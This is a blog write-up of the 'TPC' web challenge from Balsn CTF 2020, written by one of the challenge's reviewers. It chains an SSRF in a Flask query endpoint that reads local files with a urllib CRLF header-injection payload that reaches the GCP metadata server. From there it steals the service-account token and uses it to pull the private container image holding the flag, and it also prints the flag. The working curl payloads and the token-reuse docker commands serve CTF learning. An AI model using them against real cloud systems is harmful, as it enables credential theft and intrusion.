Balsn CTF 2020 - TPC

Challenge

tpc is one of web challenges in Balsn CTF 2020.

As a reviewer of challenges, I would like to share my solution.

  • Category: Web
  • Solved: 33
  • Author: ysc

Description

Flag is in the working directory 

Solution

At first, what we got was only a site that would query a site you assigned.

SSRF

Obviously, there is an SSRF vulnerability. We can try some queries like file:///etc/passwd to check we can arbitrarily read local files.

Then, I read some useful files.

file:///proc/self/cmdline:

/usr/local/bin/python /usr/local/bin/gunicorn main-dc1e2f5f7a4f359bb5ce1317a:app --bind 0.0.0.0:8000 --workers 3 --worker-tmp-dir /dev/shm --worker-class gevent --access-logfile - --error-logfile -

file:///proc/self/environ:

HOSTNAME=tpc-1-micro
PYTHON_PIP_VERSION=19.0.3
SHLVL=1
HOME=/home/gg
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.7.2
PWD=/opt/workspace

file:///etc/resolv.conf:

nameserver 169.254.169.254
search asia-east1-b.c.balsn-ctf-2020-tpc.internal c.balsn-ctf-2020-tpc.internal google.internal

until now, I know the name and version of python script, I know the current path, and I know it's a GCP instance.

Thus, I can dump the main-dc1e2f5f7a4f359bb5ce1317a.py:

import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site).read()
return text


@app.route("/")
def hello_world():
return "/query?site=[your website]"


if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)

It should be noticed that there is a Header Injection vulnerability in urllib in this version.

CRLF injection

Anyway, our target should be the GCP metadata server.

However, if we directly access the server like below, we would receive an error page.

$ curl 'http://35.194.175.80:8000/query?site=http://169.254.169.254/computeMetadata/v1/instance/'

According to GCP docs, we need to access the server with a header Metadata-Flavor: Google

So, I just need to utilize the urllib vulnerability, then the server would be accessible.

With the following payload, we can read all of the metadata.

$ curl 'http://35.194.175.80:8000/query?site=http://169.254.169.254/computeMetadata/v1/instance/?q=%20HTTP/1.1%0D%0AMetadata-Flavor:%20Google%0D%0AHeader:%0D%0A'

GCP token

With token in computeMetadata/v1/instance/service-accounts/default/token on metadata server, we can execute some GCP APIs.

Also, we can found the image name in computeMetadata/v1/instance/attributes/gce-container-declaration

Therefore, I use the token to pull the image on GCR. (Google Cloud Registry)

$ docker login -u oauth2accesstoken -p <token> asia.gcr.io
$ docker pull asia.gcr.io/balsn-ctf-2020-tpc/tpc:v3.14

And just running an instance from the image, we can reach the flag.

BALSN{What_permissions_does_the_service_account_need}

Founding and Trials

GPG KEY

In file:///proc/self/environ, we can notice a variable called GPG_KEY. At first, I thought it is something leaked.

However, it just a setting inheriting from the python image like this article mentions.

Reference

© 2020 RB's Page All Rights Reserved.
Theme by hiero